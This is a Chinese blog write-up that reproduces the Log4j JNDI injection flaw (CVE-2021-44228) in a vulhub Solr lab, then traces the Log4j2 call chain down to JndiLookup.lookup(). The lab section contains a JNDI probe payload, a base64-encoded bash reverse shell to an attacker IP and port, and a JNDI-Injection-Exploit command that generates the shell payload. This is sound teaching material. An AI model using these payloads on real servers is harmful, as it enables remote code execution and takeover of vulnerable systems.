log4j反序列化漏洞

一、环境搭建

1、安装docker

curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
![[Pasted image 20240122202459.png]]

2、安装docker-compose

pip install docker-compose
![[Pasted image 20240122203114.png]]

3、gitvulhub镜像

git clone https://github.com/vulhub/vulhub.git
![[Pasted image 20240122203343.png]]

4、进入指定目录启动环境

cd vulhub/log4j/CVE-2021-44228
docker compose up
![[Pasted image 20240126084559.png]]

访问ip:8983

二、漏洞复现

首先在dnslog获得一个dnslog
![[Pasted image 20240126090038.png]]

地址:http://www.dnslog.cn/
开始探测漏洞
进入靶场/solr/admin/cores抓包
在url后添加payload

?action=${jndi:ldap://gn19av.dnslog.cn}

![[1706232265864.png]]

查看dnslog
![[Pasted image 20240126092530.png]]

成功
下载工具JNDI-Injection-Exploit v1.0
下载地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
构造反弹shell命令

bash -i >& /dev/tcp/ip/port 0>&1

然后进行base64编码

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNDAvNDU2NyAwPiYx

在kali进行监听
![[Pasted image 20240126093141.png]]

利用JNDI-Injection-Exploit v1.0生成payload

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNDAvNDU2NyAwPiYx}|{base64,-d}|{bash,-i}" -A 攻击机IP

![[Pasted image 20240126093446.png]]

用payload替换之前探测的语句,然后将特殊字符进行url编码
![[Pasted image 20240126093755.png]]

然后点击发送
![[Pasted image 20240126094929.png]]

反弹成功
工具也有回显
![[Pasted image 20240126095006.png]]

三、漏洞分析

log4j2

log4j2是apache下的java应用常见的开源日志库,是一个就Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息

JNDI

JNDI,全称为Java命名和目录接口(Java Naming and Directory Interface),是SUN公司提供的一种标准的Java命名系统接口,允许从指定的远程服务器获取并加载对象。JNDI相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互

利用链流程

![[Pasted image 20240126102826.png]]

这个漏洞是一个标准的JDNI注入,产生漏洞的原因是因为Context.lookup()的参数可控,导致程序请求攻击者的恶意服务器上的恶意类导致任意代码执行。
首先跟入error()方法,这里直接调用了logIfEnabled()
在这里插入图片描述

在此方法中,会先判断isEnabled()为true才继续执行
在这里插入图片描述

isEnabled()的判断是在AbstractLogger抽象类的子类Logger中做的
在这里插入图片描述

跟进filter()
在这里插入图片描述

这里先判断this.config.getFilter()是否为空,而且默认的config.Filter为空,所以不会进这里的if语句;然后后续的判断只要是level不为空而且this.intLevel只要大于等于log等级的intLevel就会返回true,所以只要是intLevel等级在200以下的都可以触发该漏洞,这类的方法有OFF、FATAL、ERROR其余的无法触发
在这里插入图片描述

接着向下跟入

  1. logMessage() -> logMessageSafely() -> logMessageTrackRecursion() -> tryLogMessage() -> Logger.log()

前面几个由于是单方法的层层传递,就不再跟入,只需要关注的是在logMessage()中将String类型的message封装到了Message类中即可,然后直接来到Logger.log()
在这里插入图片描述

这里判断this.privateConfig.loggerConfig.getReliabilityStrategy()获取的对象是否是LocationAwareReliabilityStrategy或其子类的实例

这里的strategy默认为DefaultReliabilityStrategy的对象实例,而DefaultReliabilityStrategy实现了LocationAwareReliabilityStrategy接口
在这里插入图片描述

所以上述的if语句会返回true,进入89行,接着向下深入

  1. DefaultReliabilityStrategy.log() -> LoggerConfig.log()

在这里插入图片描述

这里的data参数为我们传入的语句,这里的this.propertiesRequireLookup在我们最开始直接获取Logger对象的时候默认设置为false
在这里插入图片描述

然后设置props,此处为null

然后在第279行将messageprops等变量作为参数,创建了一个LogEvent类的对象,这里没什么好说的,重点是将我们传入的JNDI表达式(Message对象设置到了LogEvent.messageFormat和messageText中)
在这里插入图片描述

在这里插入图片描述

然后接着跟入LoggerConfig.log()
在这里插入图片描述

这里会判断一次isFilter()
在这里插入图片描述

AbstractFilterable类中filter会设置为null,而之前说的LoggerConfig作为其子类,默认调用的是无参构造方法,没有涉及到对filter的修改,所以此处的isFilter()判断必为false会进入295行的

  1. this.processLogEvent(event, predicate);
    在这里插入图片描述

在上图的306行有一个if判断,这里是传入的ALL是绝对为true
在这里插入图片描述

在307行将event对象作为参数传进了callAppenders()方法中
在这里插入图片描述

这里有一个循环,但是我们重点是关注AppenderControl.callAppender()event做了什么,所以直接跟进358行callAppender()
在这里插入图片描述

在这里插入图片描述

在第44行会将event作为参数传入shouldSkip()中,只有以下三个函数全为false时才会进入45行的callAppenderPreventRecursion()

  1. isFilteredByAppenderControl() - 判断是否有filter过滤,默认为null,返回false
  2. isFilteredByLevel() - 判断是否通过level过滤,这里默认的level为ALL,所以默认必然为false
  3. isRecursiveCall() - 判断是否递归调用-是则返回true

继续跟进

  1. callAppenderPreventRecursion() -> callAppender0()
    在这里插入图片描述

这里的isFilteredByAppender()和之前isFilteredByAppenderControl()的逻辑类似,也是为了判断是否有filter过滤,默认为null,返回false

继续跟入

  1. tryCallAppender() -> AbstractOutputStreamAppender.append() -> tryAppend()
    在这里插入图片描述

判断了一下Constants.ENABLE_DIRECT_ENCODERS的值,在初始化时静态块中设置为true
在这里插入图片描述

跟入

  1. directEncodeEvent() -> PatternLayout.encode()
    在这里插入图片描述

这里先判断this.eventSerializer是否是Serializer2的一个实例,但是在类声明时eventSerializer被声明成了Serializer的对象,在构造方法进行初始化时执行了这样一条语句

  1. this.eventSerializer = newSerializerBuilder().setConfiguration(config).setReplace(replace).setPatternSelector(patternSelector).setAlwaysWriteExceptions(alwaysWriteExceptions).setDisableAnsi(disableAnsi).setNoConsoleNoAnsi(noConsoleNoAnsi).setPattern(eventPattern).setDefaultPattern("%m%n").build();

其实只需要看看build()方法
在这里插入图片描述

这个方法里出来第一块if分支,其余两个返回的类对象都同时实现了SerializerSerializer2,而pattern和defaultPattern都被设置了,所以肯定会进入encode()else分支

然后这里还有一个需要关注的,就是eventPattern它其实就是event序列化的格式,这个也被设置在了eventSerializer中被一起传入接下来的方法
在这里插入图片描述


接下来跟进

  1. toText() -> PatternSerializer.toSerializable()
  2. 注:此处的PatternSerializer为PatternLayout的内部类
    在这里插入图片描述

406行的循环是一个重要的逻辑,最终的触发点也是在这个循环中产生的,这里的this.formatters其实就是刚刚看的eventSerializer的一个类属性,就结果来说,循环的每一次执行,就会向buffer里格式化填充一块数据,每次格式化的数据如下:
(部分截图)
在这里插入图片描述

需要说明的是,这里忽略了具体格式化时的逻辑,因为块数据格式化时使用的逻辑可能不同,而且与漏洞无关,重要的只有处理jndi表达式那块

在循环进行到第9次,即索引为8时,会来到漏洞触发的逻辑,继续跟入

  1. PatternFormatter.format() -> MessagePatternConverter.format()
    在这里插入图片描述

这里首先会有一个类型判断,这里的msg是MutableLogEvent的实例,实现了LogEvent, ReusableMessage, ParameterVisitable接口,ReusableMessage实现了StringBuilderFormattable接口,所以类型判断是通过的

在第106行会将toAppendTo设置给workingBuilder(默认情况,不做渲染,走false逻辑)

然后第107行的offset为偏移量,即从之前格式化的数据之后进行填充

然后重点看114行,这里先做了一个判断,判断config不为空,而且nolookups为false时,进入之后的逻辑

config的判断不需要关注,需要看看的是nolookups的判断

在初始化时noLookups的赋值为如下语句
在这里插入图片描述

Constants.FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS默认为false
在这里插入图片描述

后面noLookupsIdx >= 0的判断需要跟一下MessagePatternConverter的初始化。
在这里插入图片描述

在初始化时会调用到两次MessagePatternConverter()构造方法,两次options[]都是空,那其实没必要深究了

回到MessagePatternConverter.format()的第116行,这里开始对JDNI表达式进行处理了


直接跟进119行
在这里插入图片描述

这里主要是关注我们的JNDI表达式(这里的source)的传递,这里通过字符串构造了一个StringBuilder的对象

  1. StrSubstitutor.replace() -> substitute() -> substitute()
  2. 注:上述第一个substitute为重载的方法,第二个为主要的处理逻辑

进入了substitute()发现它又臭又长,其主要作用是递归处理日志输入,转为对应的输出
我们只需要重点关注针对buf的操作即可,针对buf的操作就只有330行else if这块
在这里插入图片描述

这里的逻辑是删除JNDI表达式中间的$,其实影响不到我们的注入语句,然后进入else分支

直接来到418行

  1. String varValue = this.resolveVariable(event, varName, buf, startPos, pos);

说一下传入的参数

  1. varName - 抽取出的JNDI表达式`${}`中的内容
  2. startPos - 0 pos的初值
  3. pos - JNDI表达式总长的计数,我传入的payload此处值为41

跟入

  1. resolveVariable() -> resolver.lookup()
    在这里插入图片描述

这里主要的逻辑是先找了一波:的位置,然后将jndi:后面的表达式取出,赋值给name,这里的StrLookup中包含了多种Lookup对象,可以通过前缀来确定使用哪种lookup
在这里插入图片描述

最终跟入

  1. JndiLookup.lookup()
    在这里插入图片描述

最后就是一路带进Context.lookup()里了

四、参考文章

https://www.cnblogs.com/Iitt1evegbird/p/15762261.html
https://blog.csdn.net/Bossfrank/article/details/130148819
https://www.freebuf.com/vuls/316143.html
https://www.freebuf.com/vuls/317446.html

  • 20
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值